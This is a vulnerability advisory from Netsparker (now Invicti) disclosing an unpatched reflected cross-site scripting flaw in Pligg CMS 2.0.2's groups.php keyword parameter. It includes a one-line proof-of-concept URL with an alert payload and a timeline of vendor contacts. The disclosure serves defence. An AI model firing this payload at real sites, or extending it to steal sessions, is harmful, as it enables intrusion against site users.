XSS Vulnerability Identified in Pligg CMS


Advisory by Netsparker (now Invicti)
Name: XSS Vulnerability in Pligg CMS
Affected Software: Pligg CMS
Affected Versions: 2.0.2 and possibly below
Vendor Homepage: http://pligg.com
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not fixed
Invicti Advisory Reference: NS-15-011

Technical Details

Proof of Concept URL for XSS in Pligg CMS:

Page: groups.php
Parameter Name: keyword
Parameter Type: GET
Attack Pattern: http://example.com/pligg-cms-2.0.2/groups.php?view=search&keyword='+alert(0x000D82)+'

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

13/05/2015 – First Contact
30/06/2015 – Second Contact
16/07/2015 – Third Contact
30/07/2015 – Advisory released

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

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